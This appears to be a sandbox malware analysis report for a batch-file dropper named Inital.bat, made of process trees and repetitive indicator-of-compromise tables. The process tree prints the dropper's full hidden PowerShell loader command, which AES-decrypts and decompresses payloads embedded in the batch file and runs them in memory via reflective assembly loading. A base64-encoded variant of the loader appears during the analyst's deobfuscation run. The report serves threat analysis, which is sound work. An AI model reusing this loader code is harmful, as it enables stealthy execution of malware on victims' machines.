Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

firefox.exechrome.exeNOTEPAD.EXE

pid	process
2856	firefox.exe
2856	firefox.exe
2856	firefox.exe
2856	firefox.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
868	NOTEPAD.EXE
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

firefox.exechrome.exe

pid	process
2856	firefox.exe
2856	firefox.exe
2856	firefox.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe

Suspicious use of SetWindowsHookEx 31 IoCs

Processes:

firefox.exechrome.exepowershell.exepowershell.exe

pid	process
2856	firefox.exe
2856	firefox.exe
2856	firefox.exe
2856	firefox.exe
2856	firefox.exe
2856	firefox.exe
2856	firefox.exe
5192	chrome.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
2764	powershell.exe
2764	powershell.exe
2764	powershell.exe
2764	powershell.exe
2764	powershell.exe
2764	powershell.exe
2764	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exefirefox.exefirefox.exe

description	pid	process	target process
PID 4372 wrote to memory of 3916	4372	cmd.exe	powershell.exe
PID 4372 wrote to memory of 3916	4372	cmd.exe	powershell.exe
PID 4372 wrote to memory of 3916	4372	cmd.exe	powershell.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 1920 wrote to memory of 2856	1920	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 2144	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 1924	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 1924	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 1924	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 1924	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 1924	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 1924	2856	firefox.exe	firefox.exe
PID 2856 wrote to memory of 1924	2856	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Inital.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4372

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rQsZbBPOPJCvxNhL0LUES/xBoGdJPo5xjQuRz/WAY2Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DjbA3otpI3NZoCoqJZkIpQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XrWyO=New-Object System.IO.MemoryStream(,$param_var); $udTvC=New-Object System.IO.MemoryStream; $DGCBl=New-Object System.IO.Compression.GZipStream($XrWyO, [IO.Compression.CompressionMode]::Decompress); $DGCBl.CopyTo($udTvC); $DGCBl.Dispose(); $XrWyO.Dispose(); $udTvC.Dispose(); $udTvC.ToArray();}function execute_function($param_var,$param2_var){ $ILwNn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XDsjo=$ILwNn.EntryPoint; $XDsjo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Inital.bat';$AUAcT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Inital.bat').Split([Environment]::NewLine);foreach ($RmJpd in $AUAcT) { if ($RmJpd.StartsWith(':: ')) { $jmZjY=$RmJpd.Substring(3); break; }}$payloads_var=[string[]]$jmZjY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3916

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1920

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
- Checks processor information in registry
- NTFS ADS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2856

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2856.0.1402866264\906594196" -parentBuildID 20230214051806 -prefsHandle 1792 -prefMapHandle 1784 -prefsLen 22076 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {94ccd9c0-61cb-46ab-a224-e0598e71ab6f} 2856 "\\.\pipe\gecko-crash-server-pipe.2856" 1884 1d09f816958 gpu
3⤵
PID:2144

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2856.1.578868579\852665290" -parentBuildID 20230214051806 -prefsHandle 2424 -prefMapHandle 2420 -prefsLen 22112 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {42b6b1a1-db88-474f-b8c6-5df58b227440} 2856 "\\.\pipe\gecko-crash-server-pipe.2856" 2452 1d092b89f58 socket
3⤵
PID:1924

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2856.2.557992671\1439513456" -childID 1 -isForBrowser -prefsHandle 2964 -prefMapHandle 2904 -prefsLen 22150 -prefMapSize 235121 -jsInitHandle 1264 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {512b67a0-65e9-48a6-ba90-2de2039dbd5c} 2856 "\\.\pipe\gecko-crash-server-pipe.2856" 2976 1d0a2707658 tab
3⤵
PID:4216

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2856.3.637218258\1180267473" -childID 2 -isForBrowser -prefsHandle 4312 -prefMapHandle 4280 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1264 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7f3eda84-695a-4d38-9b45-cef59a9799e7} 2856 "\\.\pipe\gecko-crash-server-pipe.2856" 4324 1d0a492fb58 tab
3⤵
PID:3408

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2856.4.508120099\1213254541" -childID 3 -isForBrowser -prefsHandle 4892 -prefMapHandle 4960 -prefsLen 27695 -prefMapSize 235121 -jsInitHandle 1264 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6e436271-89b6-4c20-a78e-80cbe361fd9c} 2856 "\\.\pipe\gecko-crash-server-pipe.2856" 2776 1d0a64a7f58 tab
3⤵
PID:4756

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2856.5.689390130\1574745045" -childID 4 -isForBrowser -prefsHandle 5184 -prefMapHandle 5192 -prefsLen 27695 -prefMapSize 235121 -jsInitHandle 1264 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {233f976f-5a8f-426a-9c49-d898da00d6b6} 2856 "\\.\pipe\gecko-crash-server-pipe.2856" 5140 1d0a64a8b58 tab
3⤵
PID:5020

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2856.6.768943259\761627743" -childID 5 -isForBrowser -prefsHandle 5360 -prefMapHandle 5364 -prefsLen 27695 -prefMapSize 235121 -jsInitHandle 1264 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a7a81fd7-f9c4-47b9-b076-c4b17ce0cc51} 2856 "\\.\pipe\gecko-crash-server-pipe.2856" 5348 1d0a65c7c58 tab
3⤵
PID:332

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2856.7.1199530083\99324264" -childID 6 -isForBrowser -prefsHandle 5812 -prefMapHandle 5832 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1264 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3803266f-8ec3-4bcd-a1e4-0a1a01027b01} 2856 "\\.\pipe\gecko-crash-server-pipe.2856" 5840 1d0a81a0a58 tab
3⤵
PID:5696

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2856.8.1622620885\2117180449" -childID 7 -isForBrowser -prefsHandle 6064 -prefMapHandle 6068 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1264 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ea45ad90-c32f-47d7-9468-fd2e5c868161} 2856 "\\.\pipe\gecko-crash-server-pipe.2856" 5968 1d0a4d97858 tab
3⤵
PID:4048

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:388

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\PowerDecode-2.7.2\PowerDecode.bat" "
1⤵
PID:2024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -executionpolicy bypass .\GUI.ps1
2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -File C:\Users\Admin\AppData\Local\Temp\DeobfuscationCommand.ps1
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -File C:\Users\Admin\AppData\Local\Temp\DeclarationCommand.ps1
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand cwB2ACAARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAnAHMAaQBsAGUAbgB0AGwAeQBjAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAGUAcwBfAHYAYQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQA7ACAACgAkAGQAZQBjAHIAeQBwAHQAbwByAF8AdgBhAHIAIAA9ACAAJABhAGUAcwBfAHYAYQByAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApADsAIAAKACQAcgBlAHQAdQByAG4AXwB2AGEAcgAgAD0AIAAkAGQAZQBjAHIAeQBwAHQAbwByAF8AdgBhAHIALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABwAGEAcgBhAG0AXwB2AGEAcgAsACAAMAAsACAAJABwAGEAcgBhAG0AXwB2AGEAcgAuAEwAZQBuAGcAdABoACkAOwAgAAoAJABYAHIAVwB5AE8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACQAcABhAHIAYQBtAF8AdgBhAHIAKQA7ACAACgAkAHUAZABUAHYAQwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACAACgAkAEQARwBDAEIAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAaQBwAFMAdAByAGUAYQBtACgAJABYAHIAVwB5AE8ALAAgAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAKACQASQBMAHcATgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAJwBkAGEAbwBMACcAWwAtADEALgAuAC0ANABdACAALQBqAG8AaQBuACAAJwAnACkAKABbAGIAeQB0AGUAWwBdAF0AJABwAGEAcgBhAG0AXwB2AGEAcgApADsAIAAKACQAWABEAHMAagBvACAAPQAgACQASQBMAHcATgBuAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAACgAkAEEAVQBBAGMAVAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgAoACcAdAB4AGUAVABsAGwAQQBkAGEAZQBSACcAWwAtADEALgAuAC0AMQAxAF0AIAAtAGoAbwBpAG4AIAAnACcAKQAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AaQB0AGEAbAAuAGIAYQB0ACcAKQAuAFMAcABsAGkAdAAoAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AE4AZQB3AEwAaQBuAGUAKQA7ACAACgAkAGoAbQBaAGoAWQAgAD0AIAAkAFIAbQBKAHAAZAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMwApADsAIAAKACQAcABhAHkAbABvAGEAZABzAF8AdgBhAHIAIAA9ACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGoAbQBaAGoAWQAuAFMAcABsAGkAdAAoACcAXAAnACkAOwAgAAoAJABwAGEAeQBsAG8AYQBkADEAXwB2AGEAcgAgAD0AIABkAGUAYwBvAG0AcAByAGUAcwBzAF8AZgB1AG4AYwB0AGkAbwBuACAAKABkAGUAYwByAHkAcAB0AF8AZgB1AG4AYwB0AGkAbwBuACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAKAAnAGcAbgBpAHIAdABTADQANgBlAHMAYQBCAG0AbwByAEYAJwBbAC0AMQAuAC4ALQAxADYAXQAgAC0AagBvAGkAbgAgACcAJwApACgAJABwAGEAeQBsAG8AYQBkAHMAXwB2AGEAcgBbADAAXQApACkAKQA7ACAACgAkAHAAYQB5AGwAbwBhAGQAMgBfAHYAYQByACAAPQAgAGQAZQBjAG8AbQBwAHIAZQBzAHMAXwBmAHUAbgBjAHQAaQBvAG4AIAAoAGQAZQBjAHIAeQBwAHQAXwBmAHUAbgBjAHQAaQBvAG4AIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZwBuAGkAcgB0AFMANAA2AGUAcwBhAEIAbQBvAHIARgAnAFsALQAxAC4ALgAtADEANgBdACAALQBqAG8AaQBuACAAJwAnACkAKAAkAHAAYQB5AGwAbwBhAGQAcwBfAHYAYQByAFsAMQBdACkAKQApADsAIAAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQAVQBEAFYAYQByAGkAYQBiAGwAZQBzACgAKQB7ACAAKABnAGUAdAAtAHYAYQByAGkAYQBiAGwAZQAgAHwAIAB3AGgAZQByAGUALQBvAGIAagBlAGMAdAAgAHsAKABAACgAIgBkAGUAYwBsAGEAcgBhAHQAaQBvAG4AcwAiACwAIgBHAGUAdABVAEQAVgBhAHIAaQBhAGIAbABlAHMAIgAsACIATwB0AGgAZQByACIALAAiAEYAbwByAG0AYQB0AEUAbgB1AG0AZQByAGEAdABpAG8AbgBMAGkAbQBpAHQAIgAsACIATQBhAHgAaQBtAHUAbQBBAGwAaQBhAHMAQwBvAHUAbgB0ACIALAAiAE0AYQB4AGkAbQB1AG0ARAByAGkAdgBlAEMAbwB1AG4AdAAiACwAIgBNAGEAeABpAG0AdQBtAEUAcgByAG8AcgBDAG8AdQBuAHQAIgAsACIATQBhAHgAaQBtAHUAbQBGAHUAbgBjAHQAaQBvAG4AQwBvAHUAbgB0ACIALAAiAE0AYQB4AGkAbQB1AG0AVgBhAHIAaQBhAGIAbABlAEMAbwB1AG4AdAAiACwAIgBQAEcASABvAG0AZQAiACwAIgBQAEcAUwBFACIALAAiAFAARwBVAEkAQwB1AGwAdAB1AHIAZQAiACwAIgBQAEcAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUAIgAsACIAUABSAE8ARgBJAEwARQAiACwAIgBQAFMAUwBlAHMAcwBpAG8AbgBPAHAAdABpAG8AbgAiACkAIAAtAG4AbwB0AGMAbwBuAHQAYQBpAG4AcwAgACQAXwAuAG4AYQBtAGUAKQAgAC0AYQBuAGQAKAAoAFsAcABzAG8AYgBqAGUAYwB0AF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUwBwAGUAYwBpAGEAbABWAGEAcgBpAGEAYgBsAGUAcwAnACkALgBHAGUAdABGAGkAZQBsAGQAcwAoACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIABGAGkAZQBsAGQAVAB5AHAAZQAgAC0AZQBxACAAKABbAHMAdAByAGkAbgBnAF0AKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIABHAGUAdABWAGEAbAB1AGUAIAAkAG4AdQBsAGwAKQApACAALQBuAG8AdABjAG8AbgB0AGEAaQBuAHMAIAAkAF8ALgBuAGEAbQBlAH0AKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIATgBhAG0AZQA6ACAAIgAgACAACQAkAF8ALgBOAGEAbQBlACAACQAiAC0ALQAtAC0ALQAtAC0AIgAgACAAIAAgACAAIgBWAGEAbAB1AGUAOgAgACIAIAAJACQAXwAuAFYAYQBsAHUAZQAgACAAIAAgACAAIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAiACAAIAAgAH0AIAB9AAoAKABHAGUAdABVAEQAdgBhAHIAaQBhAGIAbABlAHMAKQB8AE8AdQB0AC0ARgBpAGwAZQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAJwBEAGUAYwBsAGEAcgBlAGQAVgBhAHIAaQBhAGIAbABlAHMALgB0AHgAdAAnACkA
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -File C:\Users\Admin\AppData\Local\Temp\DeclarationCommand.ps1
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
